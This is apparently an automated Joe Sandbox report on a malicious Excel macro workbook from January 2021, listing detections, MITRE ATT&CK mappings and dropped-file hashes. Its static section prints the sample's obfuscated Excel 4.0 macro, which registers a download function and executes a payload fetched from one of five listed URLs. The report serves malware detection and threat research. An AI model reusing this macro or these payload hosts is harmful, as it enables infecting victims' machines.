Analysis Report Refusal-1605078281-01212021.xlsm
Overview
General Information
Detection
Score: | 60 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Classification
Startup |
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Malware Configuration |
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No configs have been found |
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Yara Overview |
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Initial Sample |
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Source | Rule | Description | Author | Strings |
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JoeSecurity_MalDoc_1 | Yara detected MalDoc_1 | Joe Security |
Sigma Overview |
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No Sigma rule has matched |
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Signature Overview |
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Click to jump to signature section
Compliance: |
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Uses new MSVCR Dlls | Show sources |
Source: | File opened: | Jump to behavior |
Software Vulnerabilities: |
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Document exploit detected (UrlDownloadToFile) | Show sources |
Source: | Section loaded: | Jump to behavior |
Networking: |
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Yara detected MalDoc_1 | Show sources |
Source: | File source: |
Source: | File created: | Jump to behavior |
System Summary: |
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Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros) | Show sources |
Source: | Screenshot OCR: | ||
Source: | Screenshot OCR: | ||
Source: | Screenshot OCR: | ||
Source: | Screenshot OCR: | ||
Source: | Screenshot OCR: | ||
Source: | Screenshot OCR: |
Found Excel 4.0 Macro with suspicious formulas | Show sources |
Source: | Initial sample: |
Source: | Binary string: |
Source: | Classification label: |
Source: | File created: | Jump to behavior |
Source: | File created: | Jump to behavior |
Source: | File read: | Jump to behavior |
Source: | Window detected: |
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Source: | Initial sample: |
Source: | Key opened: | Jump to behavior |
Source: | File opened: | Jump to behavior |
Source: | Process information set: | Jump to behavior | ||
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Mitre Att&ck Matrix |
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Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Exfiltration | Command and Control | Network Effects | Remote Service Effects | Impact |
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Valid Accounts | Scripting11 | Path Interception | Path Interception | Masquerading1 | OS Credential Dumping | File and Directory Discovery1 | Remote Services | Data from Local System | Exfiltration Over Other Network Medium | Ingress Tool Transfer1 | Eavesdrop on Insecure Network Communication | Remotely Track Device Without Authorization | Modify System Partition |
Default Accounts | Exploitation for Client Execution1 | Boot or Logon Initialization Scripts | Boot or Logon Initialization Scripts | Disable or Modify Tools1 | LSASS Memory | System Information Discovery1 | Remote Desktop Protocol | Data from Removable Media | Exfiltration Over Bluetooth | Junk Data | Exploit SS7 to Redirect Phone Calls/SMS | Remotely Wipe Data Without Authorization | Device Lockout |
Domain Accounts | At (Linux) | Logon Script (Windows) | Logon Script (Windows) | Scripting11 | Security Account Manager | Query Registry | SMB/Windows Admin Shares | Data from Network Shared Drive | Automated Exfiltration | Steganography | Exploit SS7 to Track Device Location | Obtain Device Cloud Backups | Delete Device Data |
Behavior Graph |
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Screenshots |
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Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
Antivirus, Machine Learning and Genetic Malware Detection |
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Initial Sample |
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Source | Detection | Scanner | Label | Link |
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7% | ReversingLabs | Document-Excel.Trojan.Heuristic |
Dropped Files |
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No Antivirus matches |
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Unpacked PE Files |
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No Antivirus matches |
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Domains |
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No Antivirus matches |
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URLs |
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No Antivirus matches |
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Domains and IPs |
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General Information |
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Joe Sandbox Version: | 31.0.0 Red Diamond |
Analysis ID: | 343115 |
Start date: | 22.01.2021 |
Start time: | 11:13:02 |
Joe Sandbox Product: | CloudBasic |
Overall analysis duration: | 0h 4m 9s |
Hypervisor based Inspection enabled: | false |
Report type: | full |
Sample file name: | Refusal-1605078281-01212021.xlsm |
Cookbook file name: | defaultwindowsofficecookbook.jbs |
Analysis system description: | Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2) |
Number of analysed new started processes analysed: | 4 |
Number of new started drivers analysed: | 0 |
Number of existing processes analysed: | 0 |
Number of existing drivers analysed: | 0 |
Number of injected processes analysed: | 0 |
Technologies: |
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Analysis Mode: | default |
Analysis stop reason: | Timeout |
Detection: | MAL |
Classification: | mal60.troj.expl.evad.winXLSM@1/9@0/0 |
Cookbook Comments: |
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Warnings: | Show All
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Simulations |
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Behavior and APIs |
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No simulations |
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Joe Sandbox View / Context |
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Created / dropped Files |
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Process: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File Type: | |
Category: | dropped |
Size (bytes): | 848 |
Entropy (8bit): | 7.595467031611744 |
Encrypted: | false |
SSDEEP: | 24:NLJZbn0jL5Q3H/hbqzej+0C3Yi6yyuq53q:JIjm3pQCLWYi67lc |
MD5: | 02DB1068B56D3FD907241C2F3240F849 |
SHA1: | 58EC338C879DDBDF02265CBEFA9A2FB08C569D20 |
SHA-256: | D58FF94F5BB5D49236C138DC109CE83E82879D0D44BE387B0EA3773D908DD25F |
SHA-512: | 9057CE6FA62F83BB3F3EFAB2E5142ABC41190C08846B90492C37A51F07489F69EDA1D1CA6235C2C8510473E8EA443ECC5694E415AEAF3C7BD07F864212064678 |
Malicious: | false |
Reputation: | moderate, very likely benign file |
Preview: |
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Process: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File Type: | |
Category: | dropped |
Size (bytes): | 557 |
Entropy (8bit): | 7.343009301479381 |
Encrypted: | false |
SSDEEP: | 12:6v/7aLMZ5I9TvSb5Lr6U7+uHK2yJtNJTNSB0qNMQCvGEvfvqVFsSq6ixPT3Zf:Ng8SdCU7+uqF20qNM1dvfSviNd |
MD5: | A516B6CB784827C6BDE58BC9D341C1BD |
SHA1: | 9D602E7248E06FF639E6437A0A16EA7A4F9E6C73 |
SHA-256: | EF8F7EDB6BA0B5ACEC64543A0AF1B133539FFD439F8324634C3F970112997074 |
SHA-512: | C297A61DA1D7E7F247E14D188C425D43184139991B15A5F932403EE68C356B01879B90B7F96D55B0C9B02F6B9BFAF4E915191683126183E49E668B6049048D35 |
Malicious: | false |
Reputation: | moderate, very likely benign file |
Preview: |
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Process: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File Type: | |
Category: | dropped |
Size (bytes): | 8301 |
Entropy (8bit): | 7.970711494690041 |
Encrypted: | false |
SSDEEP: | 192:BzNWXTPmjktA8BddiGGwjNHOQRud4JTTOFPY4:B8aoVT0QNuzWKPh |
MD5: | D8574C9CC4123EF67C8B600850BE52EE |
SHA1: | 5547AC473B3523BA2410E04B75E37B1944EE0CCC |
SHA-256: | ADD8156BAA01E6A9DE10132E57A2E4659B1A8027A8850B8937E57D56A4FC204B |
SHA-512: | 20D29AF016ED2115C210F4F21C65195F026AAEA14AA16E36FD705482CC31CD26AB78C4C7A344FD11D4E673742E458C2A104A392B28187F2ECCE988B0612DBACF |
Malicious: | false |
Reputation: | moderate, very likely benign file |
Preview: |
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Process: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File Type: | |
Category: | dropped |
Size (bytes): | 26105 |
Entropy (8bit): | 7.556680911324272 |
Encrypted: | false |
SSDEEP: | 384:1nnowLWBP+SFR6EGNm5SV8m2ylS8aoVT0QNuzWKPqGn8+YAJFqk:1nnlLWBP+SFBGc5S6f6lW+u7qk80Fqk |
MD5: | 5D3EA7D542429EFEFAC188F564B15F9B |
SHA1: | 72272C2B02BD32806DA38DEB7EFAC08269CA6EFF |
SHA-256: | E72F49ECBABAECA8C658C6AF80E7039E8A096E4827849B82E392A34745926C44 |
SHA-512: | B57BCDAB914DB275FEE0056AF6DD805DF490C39B8CA6F2AC10229554E54DA11E9708FDDC5B5B518EB59251CDB985BD4B7B3945AC4213C1D8FFA387C209AB276A |
Malicious: | false |
Reputation: | low |
Preview: |
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Process: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File Type: | |
Category: | dropped |
Size (bytes): | 867 |
Entropy (8bit): | 4.488364330500024 |
Encrypted: | false |
SSDEEP: | 12:85Q99HLgXg/XAlCPCHaXgzB8IB/UXlnxX+Wnicvb3bDtZ3YilMMEpxRljKY6TdJU:85w/XTwz6I6VnxYePDv3qqrNru/ |
MD5: | E13DF6AC44B9E77CFEB3C1DBE3854D9C |
SHA1: | 63F4C8E2CCE3929648BC0775CFD063C69D26F5DC |
SHA-256: | 964C249176CEBD40B1583C3A1DCE874777A2BE695109367D4E5B612375EC7C1E |
SHA-512: | D21423A012CC061DE5E311F8366F9E6D2873D6B8FC9420FE43743610876A0F28ACDC08CE0281D79833F5957ACD64AAF556767205AB1A386D129CDE4C3B2B8549 |
Malicious: | false |
Reputation: | low |
Preview: |
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Process: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File Type: | |
Category: | dropped |
Size (bytes): | 2208 |
Entropy (8bit): | 4.498121872391322 |
Encrypted: | false |
SSDEEP: | 24:8x/XTwz6Ikn+wekpVDv3qqdM7dD2x/XTwz6Ikn+wekpVDv3qqdM7dV:8x/XT3Ik+wnkqQh2x/XT3Ik+wnkqQ/ |
MD5: | 801B72EEB0D5BDC289DAFC072F07C229 |
SHA1: | 370ADC41755765BAA46C96B3289E1C2C58FC2E3D |
SHA-256: | 419D1ECFF2CD572BF655914F5995035F797EBB85644E2660889FC46BD52BB21A |
SHA-512: | B0328C3BF582F87C751746EA46391AFAB412166CEB6DE76F4FC41E64BB5BEA0587FA12633D94531B2F96DE9124BBA515BD5371A44D8C6EC4687969A0F65AC86E |
Malicious: | false |
Reputation: | low |
Preview: |
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Process: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File Type: | |
Category: | dropped |
Size (bytes): | 136 |
Entropy (8bit): | 4.593265164914133 |
Encrypted: | false |
SSDEEP: | 3:oyBVomxW8ADB/eRVOUZlvi/eRVOUZlmxW8ADB/eRVOUZlv:dj4KV19zV1jKV11 |
MD5: | 7877778E2EBD55A53C9DA25A7418BD63 |
SHA1: | 1CD8DA2AC9B462C3118F5C173438483B57B7215A |
SHA-256: | 34E61F88B11AE3C1ADC3CBA6A4CFB079FAC3EC27EDC087B393DD71A156981639 |
SHA-512: | 0B21385A3B5BCC38241C62C98C6B84499A12A02FBA21ABB4F94BA02A7DFA623EAC0A3605F9FD86456CC3261D377A9080D3AF29F63B6AE7689EE8927B19774F59 |
Malicious: | false |
Reputation: | low |
Preview: |
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Process: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File Type: | |
Category: | dropped |
Size (bytes): | 26105 |
Entropy (8bit): | 7.556680911324272 |
Encrypted: | false |
SSDEEP: | 384:1nnowLWBP+SFR6EGNm5SV8m2ylS8aoVT0QNuzWKPqGn8+YAJFqk:1nnlLWBP+SFBGc5S6f6lW+u7qk80Fqk |
MD5: | 5D3EA7D542429EFEFAC188F564B15F9B |
SHA1: | 72272C2B02BD32806DA38DEB7EFAC08269CA6EFF |
SHA-256: | E72F49ECBABAECA8C658C6AF80E7039E8A096E4827849B82E392A34745926C44 |
SHA-512: | B57BCDAB914DB275FEE0056AF6DD805DF490C39B8CA6F2AC10229554E54DA11E9708FDDC5B5B518EB59251CDB985BD4B7B3945AC4213C1D8FFA387C209AB276A |
Malicious: | false |
Reputation: | low |
Preview: |
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Process: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
File Type: | |
Category: | dropped |
Size (bytes): | 330 |
Entropy (8bit): | 1.4377382811115937 |
Encrypted: | false |
SSDEEP: | 3:vZ/FFDJw2fj/FFDJw2fV:vBFFGaFFGS |
MD5: | 96114D75E30EBD26B572C1FC83D1D02E |
SHA1: | A44EEBDA5EB09862AC46346227F06F8CFAF19407 |
SHA-256: | 0C6F8CF0E504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523 |
SHA-512: | 52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EB8AC6113DC7D69C06AD4A83FAF0F021AD7C8D30600AA8168348BD0FA9E0 |
Malicious: | true |
Reputation: | moderate, very likely benign file |
Preview: |
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Static File Info |
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General | |
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File type: | |
Entropy (8bit): | 7.5580097325384505 |
TrID: |
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File name: | Refusal-1605078281-01212021.xlsm |
File size: | 26157 |
MD5: | 6b11147a8eb468cb247d32f4be0f7469 |
SHA1: | ff599ff7ed480bf2485e1b85aed7e8c6bbe7aeec |
SHA256: | 2fc494967112688b5cf699386bbab79f9d23cc03527769adc932739a0be93094 |
SHA512: | 3329e39614e0f53ab79ac35f1da674bfc9cd01474a8bf873de6135c472513696081a52c12c009d4ee84ba3befb0f9d576367f736ffe9efc9ddce1209f1d1e05d |
SSDEEP: | 384:Ayfowh92aGc2FE6xtCg5SV8m2ylTQ8aoVT0QNuzWKP8W2VoXwL:AyflhQaGc2F5h5S6f6TfW+u7D2V7L |
File Content Preview: | PK..........!.................[Content_Types].xml ...(......................................................................................................................................................................................................... |
File Icon |
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Icon Hash: | e4e2aa8aa4bcbcac |
Static OLE Info |
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General | ||
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Document Type: | OpenXML | |
Number of OLE Files: | 1 |
OLE File "Refusal-1605078281-01212021.xlsm" |
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Indicators | |
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Has Summary Info: | |
Application Name: | |
Encrypted Document: | |
Contains Word Document Stream: | |
Contains Workbook/Book Stream: | |
Contains PowerPoint Document Stream: | |
Contains Visio Document Stream: | |
Contains ObjectPool Stream: | |
Flash Objects Count: | |
Contains VBA Macros: |
Macro 4.0 Code |
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,,,,,,,,,,,,=B154(),"=FORMULA.FILL(Mols!U54&Mols!U55&Mols!U56&Mols!U57&Mols!U58&Mols!U59,BB53)","=FORMULA.FILL(Mols!AC56,HI18807)","=EXEC(""r""&Mols!AC60&"" ""&Mols!AC59&HG9961)",=B156(),=C156(),=HALT(),"=FORMULA.FILL(Mols!V53&Mols!V54&Mols!V55&Mols!V56&Mols!V57&Mols!V58&Mols!V59&Mols!V60&Mols!V61&Mols!V62&Mols!V63&Mols!V64&Mols!V65&Mols!V66&Mols!V67&Mols!V68&Mols!V69&Mols!V70,HZ48004)","=FORMULA.FILL(Mols!AC57,AN32726)",,=B158(),=C158(),"=REGISTER(BB53,HZ48004,HI18898,IK4106,,1,9)","=FORMULA.FILL(Mols!U62&Mols!U63&Mols!U64&Mols!U65&Mols!U66&Mols!U67,HI18898)","=FORMULA.FILL(""BCCJ"",IK16309)","=Niokaser(0,GT17028,AQ4875,0,0)",=B160(),=C160(),,"=FORMULA.FILL(Mols!AC58&B169,GT17028)","=FORMULA.FILL(""Niokaser"",IK4106)","=REGISTER(HI18807,AN32726,IK16309,DI7875,,1,9)",=B162(),=C162(),"=Vuolasd(GT17028,AQ4875,1)","=FORMULA.FILL(Mols!AC59,AQ4875)","=FORMULA.FILL(""Vuolasd"",DI7875)",,"=FORMULA.FILL(Mols!AC60,AS41071)",=A158(),=GOTO(D154),=B165(),,,"=FORMULA.FILL(Mols!AC61,HG9961)",,,=C154(),,,,,,,,,"=INDEX(D171:D175,RANDBETWEEN(1,5))",,,,,,,,www.webdevelopmentinlahore.com/whoqvn/5555555555.jpg,,,digital-box.fr/hjmrcv/5555555555.jpg,,,bbpqtf.com/qextstpcuumf/5555555555.jpg,,,rishtee.com/zbpxyo/5555555555.jpg,,,leafybuy.com/norzygt/5555555555.jpg
Network Behavior |
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No network behavior found |
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Code Manipulations |
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Statistics |
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CPU Usage |
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Click to jump to process
Memory Usage |
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Click to jump to process
High Level Behavior Distribution |
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back
Click to dive into process behavior distribution
System Behavior |
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General |
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Start time: | 11:13:38 |
Start date: | 22/01/2021 |
Path: | C:\Program Files\Microsoft Office\Office14\EXCEL.EXE |
Wow64 process (32bit): | false |
Commandline: | |
Imagebase: | 0x13ff70000 |
File size: | 27641504 bytes |
MD5 hash: | 5FB0A0F93382ECD19F5F499A5CAA59F0 |
Has elevated privileges: | true |
Has administrator privileges: | true |
Programmed in: | C, C++ or other language |
Reputation: | high |
Disassembly |
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